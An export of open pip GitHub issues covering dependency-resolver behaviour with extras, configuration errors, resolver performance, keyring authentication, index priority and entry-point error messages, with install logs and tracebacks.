**Conclusion: A scary "red" warning for no reason: ` get-random-0.1.4 is-sorted-0.0.2 random-string-1.0 test-pkg-1.0.0` shall be the correct set of dependencies**

### How about with ` --use-feature=2020-resolver` ?

**Now it's even worse, we don't have a warning anymore because the dependency resolving is wrong.**

#### 1. Install with NO extra require and `--use-feature=2020-resolver`
```bash
$ pip install "dist/test_pkg-1.0.0-py3-none-any.whl" --use-feature=2020-resolver

Processing ./dist/test_pkg-1.0.0-py3-none-any.whl
Collecting is-sorted==0.0.1
  Downloading is_sorted-0.0.1-py3-none-any.whl (2.8 kB)
Installing collected packages: is-sorted, test-pkg
Successfully installed is-sorted-0.0.1 test-pkg-1.0.0
```

**Conclusion**: Everything is good.

#### 2. Install with `env_a` extra require and `--use-feature=2020-resolver`
```bash
$ pip install "dist/test_pkg-1.0.0-py3-none-any.whl[env_a]"  --use-feature=2020-resolver

Processing ./dist/test_pkg-1.0.0-py3-none-any.whl
Ignoring is-sorted: markers 'extra != "env_a" and extra != "env_b"' don't match your environment
Collecting random-string
  Downloading random-string-1.00.tar.gz (996 bytes)
Collecting is-sorted<0.1,>=0.0.1
  Downloading is_sorted-0.0.1-py3-none-any.whl (2.8 kB)
Building wheels for collected packages: random-string
  Building wheel for random-string (setup.py) ... done
  Created wheel for random-string: filename=random_string-1.0-py3-none-any.whl size=1897 sha256=f9032cea18e5f1c5af61ad3041c16722150c1360aee6ac34c7134e03c30577be
  Stored in directory: /root/.cache/pip/wheels/47/2d/fe/13b8d8df913e51efdd1c8a66632a2dd0b54abb101c2c9ac399
Successfully built random-string
Installing collected packages: is-sorted, test-pkg, random-string
Successfully installed is-sorted-0.0.1 random-string-1.0 test-pkg-1.0.0
```

**Conclusion: No error anymore, however it installs `is-sorted-0.0.1` and should install: `is-sorted-0.0.2`**

#### 3. Install with `env_b` extra require and `--use-feature=2020-resolver`
```bash
$ pip install "dist/test_pkg-1.0.0-py3-none-any.whl[env_b]"  --use-feature=2020-resolver

Processing ./dist/test_pkg-1.0.0-py3-none-any.whl
Ignoring is-sorted: markers 'extra != "env_a" and extra != "env_b"' don't match your environment
Collecting is-sorted<0.1,>=0.0.1
  Downloading is_sorted-0.0.1-py3-none-any.whl (2.8 kB)
Collecting get-random
  Downloading get_random-0.1.4.tar.gz (2.5 kB)
Building wheels for collected packages: get-random
  Building wheel for get-random (setup.py) ... done
  Created wheel for get-random: filename=get_random-0.1.4-py3-none-any.whl size=2516 sha256=abca081d35ed6ae4bb11f1f36da294b25bad3b0dd7bb3293bc6912ec2e54f81c
  Stored in directory: /root/.cache/pip/wheels/ec/01/58/0ee893b104a22036186016ffaf29e1aca6a343c11341677a4c
Successfully built get-random
Installing collected packages: is-sorted, test-pkg, get-random
Successfully installed get-random-0.1.4 is-sorted-0.0.1 test-pkg-1.0.0
```

**Conclusion: No error anymore, however it installs `is-sorted-0.0.1` and should install: `is-sorted-0.0.2`**

#### 4. Install with `env_a && env_b` extra require and `--use-feature=2020-resolver`:
```bash
$ pip install "dist/test_pkg-1.0.0-py3-none-any.whl[env_a,env_b]"  --use-feature=2020-resolver

Processing ./dist/test_pkg-1.0.0-py3-none-any.whl
Ignoring is-sorted: markers 'extra != "env_a" and extra != "env_b"' don't match your environment
Collecting random-string
  Downloading random-string-1.00.tar.gz (996 bytes)
Collecting is-sorted<0.1,>=0.0.1
  Downloading is_sorted-0.0.1-py3-none-any.whl (2.8 kB)
Collecting get-random
  Downloading get_random-0.1.4.tar.gz (2.5 kB)
Building wheels for collected packages: random-string, get-random
  Building wheel for random-string (setup.py) ... done
  Created wheel for random-string: filename=random_string-1.0-py3-none-any.whl size=1897 sha256=6ba41eea0fce2aa432afc47ad7bd5e4aa89c5e1992c0a7dacfb27c3885838dbb
  Stored in directory: /root/.cache/pip/wheels/47/2d/fe/13b8d8df913e51efdd1c8a66632a2dd0b54abb101c2c9ac399
  Building wheel for get-random (setup.py) ... done
  Created wheel for get-random: filename=get_random-0.1.4-py3-none-any.whl size=2516 sha256=2eacde1bfa69a76ad369ea1e085e812c9302e2bd866c8882f148f772948faf50
  Stored in directory: /root/.cache/pip/wheels/ec/01/58/0ee893b104a22036186016ffaf29e1aca6a343c11341677a4c
Successfully built random-string get-random
Installing collected packages: is-sorted, test-pkg, random-string, get-random
Successfully installed get-random-0.1.4 is-sorted-0.0.1 random-string-1.0 test-pkg-1.0.0
```

**Conclusion: No error anymore, however it installs `is-sorted-0.0.1` and should install: `is-sorted-0.0.2`**
user: DEKHTIARJonathan
labels: C: dependency resolution: About choosing which dependencies to install
state: needs discussion: This needs some more discussion
C: extras: Handling optional dependencies
issue_8671: state: open
title: Invalid `use-feature` value breaks pip
body: **Environment**

* pip version: 20.2
* Python version: 3.7.7
* OS: Fedora 30

**Description**
I made a bad guess for the syntax of how to enable two pip features permanently, and rendered pip completely broken with a simple `pip config set` command.

**Expected behavior**
One or both of the following:
- a syntax check when doing `pip config set` would reject an invalid value
- the invalid configuration value would be a warning and still let pip continue

**How to Reproduce**
1. Enable a non-existing feature using `pip config set global.use-feature <feature>`
2. Try to use any pip subcommand (or just `pip`)
3. Pip crashes with an error message

**Output**

```bash
$ pip config set global.use-feature 2020-resolver,fast-deps
Writing to /home/akaihola/.config/pip/pip.conf
$ pip
An error occurred during configuration: option use-feature: invalid choice: '2020-resolver,fast-deps' (choose from '2020-resolver', 'fast-deps')
$ pip config unset --user global.use-feature
An error occurred during configuration: option use-feature: invalid choice: '2020-resolver,fast-deps' (choose from '2020-resolver', 'fast-deps')
```
The work-around:
```
$ rm $HOME/.config/pip/pip.conf
```
user: akaihola
labels: type: bug: A confirmed bug or unintended behavior
type: enhancement: Improvements to functionality
C: configuration: Configuration management and loading
issue_8670: state: open
title: The fast-deps feature is not a fast way to obtain dependencies
body: Originally posted over [Python discuss](https://discuss.python.org/t/announcement-pip-20-2-release/4863/2):

> Despite its name, at the time of writing, for most of the cases (where the wheels are small) it does not make the pip install/pip download process any faster. The only case that it might be an optimization is where pip runs into a lot of dependencies conflicts and has to perform a series of backtracking.

Moreover, unlike the normal wheel download, the lazy implementation performs multiple requests.  On unstable networks like mine, this makes it a lot slower than downloading the same size of data but in one single response (citation needed, I know this is generally believed but I'd love to read an article explain the reason in details).  The first step to tackle this that I have in mind is to refuse to use range requests when a wheel is smaller than a certain size (a few times of chunk size perhaps?).  There might need to be more experiments to further optimize this but this is the first thing I can think of.  I'd really appreciate any suggestion, even just mere ideas of what to explore.

If possible, please assign this issue to me so I can better keep track of my GSoC project.
user: McSinyx
labels: state: needs discussion: This needs some more discussion
issue_8669: state: open
title: Mechanism for multiple packages to provide the same virtual package
body: **What's the problem this feature will solve?**

Currently some libraries have multiple packages on PyPI to fulfill different use cases. For example:

*psycopg2 vs psycopg2-binary*: These packages provide psycopg2 without and with a wheel package, due to problems the maintainers have had with wheel packages. The two packages logically provide the same library but only the latter will install a wheel. The problem relates to linking with compatible versions of libssl. See: https://github.com/psycopg/psycopg2/issues/674

*opencv-python-headless* vs *opencv-python*: The latter has GUI functionality whereas the former doesn't.

There are probably others e.g. "foo" and "foo-gpu" may exist for some packages. Please go ahead and comment with more examples.

**Describe the solution you'd like**
Multiple packages would be able to "provide" the same resource, specified e.g. in the pyproject.toml.

Any downstream package could then decide on which concrete package they wanted to provide the virtual package. There could be some way of choosing a default.

**Additional context**
This functionality could become more important when dependency resolution becomes more strict. See also: https://github.com/pypa/pip/issues/8076

Other package management systems have this mechanism. See e.g. https://www.debian.org/doc/debian-policy/ch-relationships.html#virtual-packages-provides
user: frankier
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
resolution: needs standard: Should be agreed as a standard before implementation
issue_8664: state: open
title: New resolver: Build automated testing to check for acceptable performance
body: Our new dependency resolver may make pip a bit slower than it used to be.

Therefore I believe we need to pull together some extremely rough speed tests and decide what level of speed is acceptable, then build some automated testing to check whether we are meeting those marks.

I just ran a few local tests (on a not-particularly-souped-up laptop) to do a side-by-side comparison:

~~~
$ time pip install --upgrade pip
Requirement already up-to-date: pip in [path]/python3.7/site-packages (20.2)

real	0m0.867s
user	0m0.680s
sys	0m0.076s

$ time pip install --upgrade pip --use-feature=2020-resolver
Requirement already satisfied: pip in [path]/python3.7/site-packages (20.2)

real	0m1.243s
user	0m0.897s
sys	0m0.060s
~~~

Or, in 2 different virtualenvs:

~~~
$ time pip install --upgrade chardet
Requirement already up-to-date: chardet in [path].virtualenvs/form990/lib/python3.7/site-packages (3.0.4)

real	0m0.616s
user	0m0.412s
sys	0m0.053s

$ time pip install --upgrade chardet --use-feature=2020-resolver
Requirement already satisfied: chardet in [path].virtualenvs/ical3/lib/python3.7/site-packages (3.0.4)

real	0m1.137s
user	0m0.404s
sys	0m0.053s
~~~

These numbers will add up with more complicated processes, dealing with lots of packages at a time.

Related to #6536 and #988.

---

Edit by @brainwane: As of November 2020 we have defined some speed goals and the new resolver has acceptable performance, so I've switched this issue to be about building automated testing to ensure that we continue to meet our goals in the future.

---

Edit by @uranusjr: Some explanation for people landing here. The new resolver is generally slower because it checks the dependency between packages more rigorously, and tries to find alternative solutions when dependency specifications do not meet. The legacy resolver, on the other hand, just picks the one specification it likes best without verifying, which of course is faster but also irresponsible.

Feel free to post examples here if the new resolver runs slowly for your project. We are very interested in reviewing all of them to identify possible improvements. When doing so, however, please make sure to also **include the `pip install` output**, not just your `requirements.txt`. The output is important for us to identify what pip is spending time for, and suggest workarounds if possible.
user: brainwane
labels: C: dependency resolution: About choosing which dependencies to install
state: needs discussion: This needs some more discussion
issue_8646: state: open
title: Error during pip install
body: * pip version: 20.2
* Python version: 3.8.5
* Operating system: mac os 10.15.5

I am working inside a conda environment.

Trying to install any package with pip I get this error:

```python
$ pip install -e .
Obtaining file:///Users/anto/Google%20Drive/smartfab/src/dwitch
ERROR: Error while checking for conflicts. Please file an issue on pip's issue tracker: https://github.com/pypa/pip/issues/new
Traceback (most recent call last):
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3021, in _dep_map
    return self.__dep_map
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2815, in __getattr__
    raise AttributeError(attr)
AttributeError: _DistInfoDistribution__dep_map

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3012, in _parsed_pkg_info
    return self._pkg_info
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2815, in __getattr__
    raise AttributeError(attr)
AttributeError: _pkg_info

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_internal/commands/install.py", line 535, in _determine_conflicts
    return check_install_conflicts(to_install)
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_internal/operations/check.py", line 108, in check_install_conflicts
    package_set, _ = create_package_set_from_installed()
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_internal/operations/check.py", line 50, in create_package_set_from_installed
    package_set[name] = PackageDetails(dist.version, dist.requires())
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2736, in requires
    dm = self._dep_map
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3023, in _dep_map
    self.__dep_map = self._compute_dependencies()
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3032, in _compute_dependencies
    for req in self._parsed_pkg_info.get_all('Requires-Dist') or []:
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3014, in _parsed_pkg_info
    metadata = self.get_metadata(self.PKG_INFO)
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 1420, in get_metadata
    value = self._get(path)
  File "/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/pip/_vendor/pkg_resources/__init__.py", line 1616, in _get
    with open(path, 'rb') as stream:
FileNotFoundError: [Errno 2] No such file or directory: '/Users/anto/miniconda3/envs/py38-sf/lib/python3.8/site-packages/regex-2020.7.14.dist-info/METADATA'
Installing collected packages: dwitch
  Attempting uninstall: dwitch
    Found existing installation: dwitch 0.0.2+244.g47d8dd3
    Uninstalling dwitch-0.0.2+244.g47d8dd3:
      Successfully uninstalled dwitch-0.0.2+244.g47d8dd3
  Running setup.py develop for dwitch
Successfully installed dwitch
(py38-sf) Antonios-MacBook-Pro:dwitch anto$ 
```

user: tritemio
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8641: state: open
title: Improve network error message
body: **What's the problem this feature will solve?**
pip automatically retries after hitting a network error, but the warning it emits is cryptic to users without experience on networking applications.

Recent examples: #7424 #8639.

The typical message a user gets would be something like:

```
WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after
connection broken by 'ConnectTimeoutError(<pip._vendor.urllib3.connection.VerifiedHTTPSConnection
object at 0x0000020EA6576108>, 'Connection to pypi.org timed out. (connect timeout=15)')': /some/url/
```

This is not too difficult to discern the error message as a client side networking issue with some Python and network experience. Less experienced users, however, cannot understand what to do to the cryptic output, and end up posting issues.


**Describe the solution you'd like**
Following the recent effort to format more user-friendly error messages, output a more descriptive message that says

* What is likely happening.
* What can the user do to the error.
* Link to some documentation for further reading.


**Additional context**
I have not thought deep into how this should be implemented, to be honest. We should probably do two things:

* Make the retry warning more descriptive by replacing the `Retry(...)` and `ConnectTimeoutError(...)` objects’ appearances (`__repr__`?) in it.
* Wrap the network call, and output the user-friendly message described above when the retry limit is hit.

user: uranusjr
labels: UX: User experience related
C: error messages: Improving error messages
issue_8634: state: open
title: Unable to authenticate with private index when providing username and credentials in keyring with SecretService
body: I am unable to use a private index using credentials stored in my keyring if I explicitly provide the username in the index URL. This seems to be an issue specifically with SecretService keyring back-end, and with `keyring` v19.2 and above (Ubuntu 20.04 ships with `keyring` 18.0.1). In addition, everything works fine if I don't specify the username in the index URL (and of course, it works fine if I pass username and password in the index URL).

It seems as if `keyring` returns a credentials object regardless of whether it found a matching entry and a truthy password, as opposed to the default behaviour of returning a falsy if the password is falsy, in `keyring.get_credential`.

### Environment
* pip version: 20.1.1
* Python version: 3.8.2
* OS: Ubuntu 20.04.1
* keyring: 21.2.1

`$ keyring --list-backends`
```
keyring.backends.chainer.ChainerBackend (priority: -10)
keyring.backends.fail.Keyring (priority: 0)
keyring.backends.SecretService.Keyring (priority: 5)
```

### Reproduction
Store username and password in keyring for index hostname
```bash
echo pass | keyring set pypi.myorg.com user
```

Attempt to download a package, providing the username in the index URL
```bash
pip3 install myorg-mypackage --extra-index-url https://user@pypi.myorg.com/
```

#### Output
```
ERROR: Could not find a version that satisfies the requirement myorg-mypackage (from versions: none)
ERROR: No matching distribution found for myorg-mypackage
```
user: EpicWink
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8633: state: open
title: Add a testing case for a future check integrity flag
body: Hello all!

I was working on the EuroPython Packaging Sprint today and found issue #8579.

While the discussion is still young, I tried to come up with a failing test case for what the issue proposes.

Given this is my first attempt at working with pip code itself, I'm not at all familiar with the codebase and there are probably cleaner ways to achieve my goal. Also, the semantics of this new checking - a flag? a subcommand? - must be discussed. I simply guessed a `check --integrity`. What I tried to do was:

1. Install a package
2. Delete one of its files
3. Run `check --integrity`
4. Assert it returned an error

Feedback is very much appreciated!

Thanks
user: fbidu
labels: needs rebase or merge: PR has conflicts with current master
issue_8632: state: open
title: Allow creating a console/gui script with callable module
body: Given a `setup.cfg` containing:

```zsh
⊙  bat setup.cfg                                                                                                                                                                                  julian@Air
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: setup.cfg
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ [metadata]
   2   │ name = foo
   3   │
   4   │ [options]
   5   │ packages = find:
   6   │
   7   │ [options.entry_points]
   8   │ console_scripts =
   9   │     foo = foo
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

where you'll see the `console_scripts` there has `foo = foo`, rather than an intended e.g. `foo = foo:main`, attempting to install the package produces:

```zsh
⊙  rm -rf venv; python3.8 -m venv venv; venv/bin/python -m pip install .                                                                                                                          julian@Air
Processing /Users/julian/Desktop/foo
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
    Preparing wheel metadata ... done
Building wheels for collected packages: foo
  Building wheel for foo (PEP 517) ... done
  Created wheel for foo: filename=foo-0.0.0-py3-none-any.whl size=2841 sha256=baed8c89b2417754b8e843ada0ac5f36da395f957e0470dabd1f8c5340fb4977
  Stored in directory: /private/var/folders/cr/h4lk12bj5cn4qdx4ct9hddmm0000gn/T/pip-ephem-wheel-cache-2alzb1jr/wheels/62/63/34/d22a94079c5f6ae4451bcf9e08db91c779e9e2b4ff02a6228b
Successfully built foo
Installing collected packages: foo
ERROR: Invalid script entry point: <ExportEntry foo = foo:None []> for req: foo==0.0.0 - A callable suffix is required. Cf https://packaging.python.org/specifications/entry-points/#use-for-scripts for more information.
```

where the error message leaks some internals.

**Describe the solution you'd like**

An error message slightly tweaked to e.g. "Invalid script entry point: 'foo = foo' does not define which callable to enter. Provide one separated via a ':'. See https://packaging.python.org/specifications/entry-points/#use-for-scripts for details."
user: Julian
labels: type: docs: Documentation related
C: error messages: Improving error messages
resolution: not a bug: Determined as not a bug in pip
issue_8615: state: open
title: VSC dependencies wont upgrade when version is changed in dependent repo
body: **Environment**

* pip version: 20.1.1
* Python version: 2.7.12
* OS: Ubuntu 16.04.6 LTS (xenial) 4.4.0-1060-aws

**Description**
Installing a package from VSC doesn't work when you bump up the package version in the VSC repo

**Expected behavior**
I expect pip to redownload `my-pkg` since the version was bumped but instead it claims `Requirement already satisfied`

**How to Reproduce**
Assuming this is my setup.py in my root project which declares a dependency on `my-pkg`

```python
# setup.py

from setuptools import setup

setup(
  name='root_pkg'
  ...
  install_requires=[
    'beautifulsoup4 == 4.9.1',
    'my-pkg @ git+git://github.com/somewhere/my-pkg'
  ]
)
```

 - Running `pip install  .` installs `my-pkg` correctly
 - Then make some changes in my-pkg and bump up the version
 - Run `pip install .` again
 - It will claim 'Requirement already satisfied'

**Possible bug location**
This is the gating function which decides if a package is to be skipped or installed
`pip._internal.resolution.legacy.resolver.Resolver. _check_skip_installed`
https://github.com/pypa/pip/blob/20.1.1/src/pip/_internal/resolution/legacy/resolver.py#L210

It clearly states in the doc string

> Note that for vcs urls and the like we can't assess skipping in this
> routine - we simply identify that we need to pull the thing down,
> then later on it is pulled down and introspected to assess upgrade/
> reinstalls etc

It short circuits at line 240 when deciding to skip or not for `my-pkg`
```python
if not self._is_upgrade_allowed(req_to_install):
if self.upgrade_strategy == "only-if-needed":
     return 'already satisfied, skipping upgrade'
return 'already satisfied'
```


Theres nowhere in that function, between line 210-240, which checks to see if the requirement is a link so return None

Perhaps there should be a check something along the lines of 

```python
if req_to_install.link:
   # This is a url so we need to pull down the repo first to introspect it
   return None
```

I could be grossly mistaken about this behaviour so feel free to correct me

user: vidhu
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8606: state: open
title: index-url extra-index-url install priority order
body: This is totally related to #5045, but I can not comment on it.

For me this should be re-opened, because it's a security issue.

I provide the package `xxx` to the private repository `my-company.com`. Then I gives installation instructions to collaborators, configure CI to install this package, etc.

The problem is if someone add a package with the same name on pypi.org, then users and CI will get this package instead of mine, which is bad: and I want to be sure that the installation will not change.

It's not about naming package: if I name my packe `my_company.xxx`, a malicious user could chose the exact same name and publish it to pypi, letting my collaborators installing a malware instead of my package.
user: roipoussiere
labels: C: finder: PackageFinder and index related code
issue_8586: state: open
title: Gating error messages based on date
body: _Originally posted by @dstufft in https://github.com/pypa/pip/issues/5216#issuecomment-658111979_

> We could also bake some sort of time gating right into the message, like in the Python code check if the date is before some cut off date before showing the message.

In a recent discussion w/ @ei8fdb @nlhkabu et al, folks was expressed that this would be something really good to "formalize", so that it can be used in the future for communication around changes/user surveys.

@brainwane also suggested that it might be possible to combine/tie this with our deprecation policy -- but that's not something I'm fully clear on *how* she was thinking it could/would work.

If we want to formalize this, we could create something like our `deprecated` helper for deprecations. :)

---

We're definitely doing *something* like this for #5216 and my plan for now is to "just add the right words" to the error message (in other words, this isn't a blocker in any way).


user: pradyunsg
labels: state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
state: awaiting PR: Feature discussed, PR is needed
issue_8585: state: open
title: Implement PEP-458: Secure PyPI downloads with signed repository metadata
body: **What's the problem this feature will solve?**

[PEP-458](https://www.python.org/dev/peps/pep-0458/):

> protect users of PyPI from compromises of the integrity, consistency, and freshness properties of PyPI packages, and enhance compromise resilience by mitigating key risk and providing mechanisms to recover from a compromise of PyPI or its signing keys

This will allow pip to be more secure against attacks on PyPI mirrors and PyPI's content distribution network. The implementation ("the minimum security model") supports verification of PyPI distributions that are signed with keys stored on PyPI, but the pip client implementation should just continue working if/when Warehouse moves to the "maximum security model" ([PEP-480](https://www.python.org/dev/peps/pep-0480/)) where both PyPI and the developers sign distributions.

original discussion on the PEP: https://discuss.python.org/t/pep-458-secure-pypi-downloads-with-package-signing/2648

**Describe the solution you'd like**

pip should use [TUF](https://theupdateframework.io/) reference client library to secure downloads from pypi.org (and 3rd party Warehouse instances that support TUF). This should happen without affecting the user experience in any major way (except of course in the event of TUF preventing downloads for security reasons). The implementation should allow using both TUF-enabled and non-TUF-enabled repositories at the same time: no existing functionality should break.


More information:
* [TUF specification](https://github.com/theupdateframework/specification/blob/master/tuf-spec.md)
* [TUF reference implementation in python](https://github.com/theupdateframework/tuf/)

**Additional context**

I'm currently planning how to do this and am prepared to work on the actual implementation. The current state of things is:
 * the Warehouse implementation is being worked on by William Woodruff: it is not complete and not merged
 * I _think_ I have identified the core issues that need to be solved and I've tested most of them in a throw-away draft implementation
 * there are still open issues with regards to the exact API promise that Warehouse will have to make and the actual TUF configuration that is required: so the pip implementation should not be rushed
 * I intend to document the identified issues and general design here before doing any major coding (I'm hoping for the main issues to get resolved first but I will document in any case). With summer holidays at hand, this will probably be in August
 * The warehouse implementation has been discussed in Zulipchat on #pep458-implementation (https://python.zulipchat.com/#narrow/stream/223926-pep458-implementation) and their biweekly meeting.

user: jku
labels: state: blocked: Can not be done until something else is done
type: feature request: Request for a new feature
PEP implementation: Involves some PEP
issue_8582: state: open
title: Quiet flag fails to silence UserWarning from install options
body: **Environment**

* pip version: 20.1.1
* Python version: 3.7.7
* OS: Fedora 32

**Description**
-q/--quiet option fails to suppress UserWarning regarding install-options. pip --help says:
`  -q, --quiet                 Give less output. Option is additive, and can be used up to 3 times (corresponding to WARNING, ERROR, and CRITICAL logging levels).`

**Expected behavior**
With sufficient `-q`s applied all output goes away

**How to Reproduce**

1. Create a venv `python3.7 -m venv /path/to/venv`
2. Create another directory to put the packages you are pulling down in `mkdir zipdir`
3. install a package to that other directory `pip install -qqq --install-option="--install-lib=/path/to/other_dir" -r /path/to/req.txt`

**Output**

```
$ python3.7 -m venv venv
$ mkdir zipdir
$ echo "requests" > req.txt
$ venv/bin/pip install -qqq --install-option="--install-lib=/tmp/example/zipdir" -r req.txt
/tmp/example/venv/lib64/python3.7/site-packages/pip/_internal/commands/install.py:285: UserWarning: Disabling all use of wheels due to the use of --build-options / --global-options / --install-options.
  cmdoptions.check_install_build_global(options)
```

user: akettmann-e24
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8581: state: open
title: Environment markers don't work with editable on local path?
body: **Environment**

* pip version: 20.1.1
* Python version: 3.6.9
* OS: Linux x86_64 (Ubuntu 18.04)

**Description**

This is a reply to/follow-up on #4530, as that issue is locked: it seems that quoting is needed when using markers on an editable install.  This works when installing from a URL, but doesn't seem to work when installing from a local file.

E.g. this works as expected:

```
-e 'git+http://example.com/NOT_EXISTING.git#egg=foo    ;  python_version >= "3.10"'
```

but this doesn't:

```
-e 'path/to/local/project/    ;  python_version >= "3.10"'
```

**Expected behavior**
`path/to/local/project/` to not be installed

**How to Reproduce**
Create a `requirements.txt` file with:

```
-e 'path/to/local/project/    ;  python_version >= "3.10"'
```

and install it with `pip install -r requirements.txt`.

**Output**

```
$  pip install -r requirements.txt
ERROR: path/to/local/project/    ;  python_version >= "3.10" is not a valid editable requirement. It should either be a path to a local project or a VCS URL (beginning with svn+, git+, hg+, or bzr+).
```

user: ghost
labels: S: needs triage: Issues/PRs that need to be triaged
issue_8579: state: open
title: pip check should be able to detect broken packages (missing files)
body: I recently discovered that "pip check" is not able to detect broken installations where some files from the distributed package are missing.

This can happen quite easily with packages that do share same namespaces or that changed namespaces. A practical example is related to `ansible` and `ansible-base`. 

Pip should check if all files from the dist are present and report an error, this may be slow so we may want to make this an optional feature, still very useful for validating the state of the packages present.
user: ssbarnea
labels: type: enhancement: Improvements to functionality
C: check: Checking dependency graph for consistency
issue_8573: state: open
title: Pip raises unhandled exception on invalid entrypoint in wheel
body: <!--
If you're reporting an issue for `--unstable-feature=resolver`, use the "Dependency resolver failures / errors" template instead.
-->

**Environment**

* pip version: 20.1.1, master
* Python version: 3.8 (probably any)
* OS: Ubuntu (probably any)

**Description**

When pip encounters invalid entrypoints in wheels, it raises a `ValueError` that is visible to the user.

**Expected behavior**

pip should throw a nicer looking error for this expected situation

**How to Reproduce**

```
cd "$(mktemp -d)"
git clone https://github.com/pypa/pip.git .
tox -e py38 --notest
./.tox/py38/bin/python -c 'from tests.lib.wheel import make_wheel; print(make_wheel("a", "1", entry_points={"console_scripts": ["a = a:"]}).save_to_dir("."))'
python -m venv env
./env/bin/python -m pip install --upgrade pip
./env/bin/python -m pip install ./a-1-py2.py3-none-any.whl
```

**Output**

<details>
<summary>Output</summary>

```
$ cd "$(mktemp -d)"
$ git clone https://github.com/pypa/pip.git .
Cloning into '.'...
remote: Enumerating objects: 20, done.
remote: Counting objects: 100% (20/20), done.
remote: Compressing objects: 100% (18/18), done.
remote: Total 63409 (delta 7), reused 5 (delta 0), pack-reused 63389
Receiving objects: 100% (63409/63409), 55.20 MiB | 68.35 MiB/s, done.
Resolving deltas: 100% (42341/42341), done.
$ tox -e py38 --notest
GLOB sdist-make: /tmp/user/1000/tmp.FMLLJSRxGK/setup.py
py38 create: /tmp/user/1000/tmp.FMLLJSRxGK/.tox/py38
py38 installdeps: -r/tmp/user/1000/tmp.FMLLJSRxGK/tools/requirements/tests.txt
py38 inst: /tmp/user/1000/tmp.FMLLJSRxGK/.tox/.tmp/package/1/pip-20.2.dev1.zip
py38 installed: apipkg==1.5,atomicwrites==1.4.0,attrs==19.3.0,cffi==1.14.0,coverage==5.2,cryptography==2.8,csv23==0.3.2,execnet==1.7.1,freezegun==0.3.15,mock==4.0.2,more-itertools==8.4.0,packaging==20.4,pip @ file:///tmp/user/1000/tmp.FMLLJSRxGK/.tox/.tmp/package/1/pip-20.2.dev1.zip,pluggy==0.13.1,pretend==1.0.9,py==1.9.0,pycparser==2.20,pyparsing==2.4.7,pytest==4.6.11,pytest-cov==2.10.0,pytest-forked==1.2.0,pytest-rerunfailures==8.0,pytest-timeout==1.4.1,pytest-xdist==1.33.0,python-dateutil==2.8.1,PyYAML==5.3.1,scripttest==1.3,setuptools==41.4.0,six==1.15.0,virtualenv @ https://github.com/pypa/virtualenv/archive/legacy.zip,wcwidth==0.2.5,Werkzeug==0.16.0,wheel==0.33.6
_____________________________________________________________________________________________________ summary ______________________________________________________________________________________________________
  py38: skipped tests
  congratulations :)
$ ./.tox/py38/bin/python -c 'from tests.lib.wheel import make_wheel; print(make_wheel("a", "1", entry_points={"console_scripts": ["a = a:"]}).save_to_dir("."))'
./a-1-py2.py3-none-any.whl
$ python -m venv env
$ ./env/bin/python -m pip install --upgrade pip
Collecting pip
  Using cached https://files.pythonhosted.org/packages/43/84/23ed6a1796480a6f1a2d38f2802901d078266bda38388954d01d3f2e821d/pip-20.1.1-py2.py3-none-any.whl
Installing collected packages: pip
  Found existing installation: pip 19.2.3
    Uninstalling pip-19.2.3:
      Successfully uninstalled pip-19.2.3
Successfully installed pip-20.1.1
$ ./env/bin/python -m pip install ./a-1-py2.py3-none-any.whl
Processing ./a-1-py2.py3-none-any.whl
Installing collected packages: a
ERROR: Exception:
Traceback (most recent call last):
  File "/tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip/_internal/cli/base_command.py", line 188, in _main
    status = self.run(options, args)
  File "/tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip/_internal/cli/req_command.py", line 185, in wrapper
    return func(self, options, args)
  File "/tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip/_internal/commands/install.py", line 398, in run
    installed = install_given_reqs(
  File "/tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip/_internal/req/__init__.py", line 67, in install_given_reqs
    requirement.install(
  File "/tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip/_internal/req/req_install.py", line 804, in install
    install_wheel(
  File "/tmp/user/1000/tmp.FMLLJSRxGK/env/lib/python3.8/site-packages/pip/_internal/operations/install/wheel.py", line 622, in install_wheel
    install_unpacked_wheel(
